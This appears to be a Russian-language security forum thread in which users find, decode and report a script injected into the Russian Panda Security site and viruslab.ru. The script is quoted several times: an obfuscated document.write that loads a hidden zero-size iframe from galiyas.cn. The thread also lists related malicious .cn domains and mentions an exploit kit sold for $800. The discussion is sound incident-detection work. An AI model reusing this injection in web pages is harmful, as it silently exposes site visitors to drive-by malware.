Посмотрите скрипт плиз

[valho]

На этих двух сайтах скрипт
pandasecurity.com/russia/
viruslab.ru

document.write('<ifr'+'ame height=\"0\" width=\"0\" style=\"display: none;\" src=\"http://gali'+'yas.c'+'n/show.php?s=0be7'+'fb3bca\"></ifr'+'ame>');

[Torvic99]

Вебовский онлайн сканер сказал на viruslab.ru
http://online.us.drweb.com/cache/?i=...281627f254047e

[valho]

Он у них там с 14 августа находится, причём у панды ихний автомат сам себя занёс в блек-лист

[Virtual]

а у мну вместо этого

</div>
<script>document.write('<ifr'+'ame height=\"0\" width=\"0\" style=\"display: none;\" src=\"http://gali'+'yas.c'+'n/show.php?s=0be7'+'fb3bca\"></ifr'+'ame>');</script>
</div>

оказалось это

</div>
<!-- Kill AD JavaScript: "if" -->
</div>

. блин опять самое интересное пропускаю, жалко что galiyas точка cn/show.php?s=0be7fb3bca не работает, а так хотелось глянуть чтож-там грузить пытались

[valho]

. блин опять самое интересное пропускаю, жалко что galiyas точка cn/show.php?s=0be7fb3bca не работает, а так хотелось глянуть чтож-там грузить пытались

http://www.virustotal.com/ru/analisi...352-1250730484
http://www.virustotal.com/ru/analisi...352-1250777968
http://www.virustotal.com/ru/analisi...093-1250778731
http://www.virustotal.com/ru/analisi...ad9-1250780189

[Kuzz]

http://www.anti-malware.ru/forum/ind...opic=9263&st=0
Там еще вчера обсуждалось

[valho]

Хм, они меня спрашивают

Опишите подробнее почему вы так решили?

может это нормальный скрипт?
Кста galiyas точка cn/show.php?s=0be7fb3bca снова заработал

[DVi]

Кста galiyas точка cn/show.php?s=0be7fb3bca снова заработал

Нет

[Virtual]

Хм, они меня спрашивают

может это нормальный скрипт?
Кста galiyas точка cn/show.php?s=0be7fb3bca снова заработал

у мну фильтр именно сработал на то что он не нормальный! т.к. если ктот пытается сгенерить фрейм через яву да при том разделяя слово iframe (тупая попытка спрятатся от простейших анализаторов трафика), кстати гисметео тож этим забавляется, то такое идет в топку.

а тут совсем странное:

</div>
<script>document.write('<ifr'+'ame height=\"0\" width=\"0\" style=\"display: none;\" src=\"http://gali'+'yas.c'+'n/show.php?s=0be7'+'fb3bca\"></ifr'+'ame>');</script>
</div>

расшифровываю:
выдать в документ фрейм, при том - не засвечивая ключевого слова iframe, загрузить туда результат пхп скрипта с неизвестным содержимым, и самое главное все это должно быть нулевой ширины и нулевой высоты- тоесть невидимым. + все это грузится с сайта антивирусной компании но из кытая

ЗЫЗЫ пойду- ка разошлю новость что вируслаб специально пытается заразить клиентов дабы впихнуть им панду шутка я не злой

добавлено...

хотя.... анализируя.... это ка- же понимать или ктот имеющий админку на обоих сайтах прое..... пароли или сами всетаки, хотя без разницы,... думаю нужно будет озвучить что они это специально, чтоб неповадно было

valho кто они, где они? давай их сюда, ща обьясню что там не так, хотя думаю прочтя данную тему и ссылки выше может и дойдет.
//простите за офтоп хорошо в деревне, с любимой тещей, до понедельника it проблемы совсем не мои, а у кое-кого чую голова болеть будет

[valho]

и те и другие убрали его, вроде, еле уговорили

Добавлено через 52 минуты

valho кто они, где они? давай их сюда, ща обьясню что там не так, хотя думаю прочтя данную тему и ссылки выше может и дойдет.

Написал в техподдержку на viruslab.ru, это как раз они. Ещё неделю назад послал письмо на pandasecurity.com спрашивал почему у них автомат свой же сайт в блек-лист занёс, никто не ответил. Но я не догадался тогда посмотреть html страницы. Мне сеня (senyak) как раз вчера ссылу дал на антималваре, тут и вспомнил про пандасекурити.ком там как раз и оказался точно такой же скрипт.
На паре форумов нашёл объявления о продаже тулкита и правда за 800 $
предлагают
http://imageshost.ru/links/5e3310236...749b8962f6164a
http://imageshost.ru/links/ef14e8d9d...127f250b289e38
http://imageshost.ru/links/9137e6968...9f1886aa278274
http://imageshost.ru/links/2860db984...8c6f7d1ee9820b
http://imageshost.ru/links/61437fa16...7ac693c9bc1d9a
http://imageshost.ru/links/da18fe286...61f71bb3fe8df2

Добавлено через 4 часа 6 минут

Вот они, родненькие, все на одном адресе
galiyas.cn
fragus.cn
nasha-anasha.cn
neimeetsmysla.cn
bugagag.cn
yessvaz.cn
commada.cn
zenitvsspartak.cn
http://wepawet.cs.ucsb.edu/view.php?...193022&type=js

[valho]

Посмотрел за ними, на панде этот скрипт убрали, потом он снова появился минут на 5 и его снова убрали. На вируслаб.ру его тоже убрали, минут через 20 он снова появился и до сих пор там живёт у них

[Virtual]

всетаки они прое... пароли, + похоже конек у когото до сих пор активный тож мне специ млин, им давно уже пора в раздел помогите

[Jolly Rojer]

Virtual +1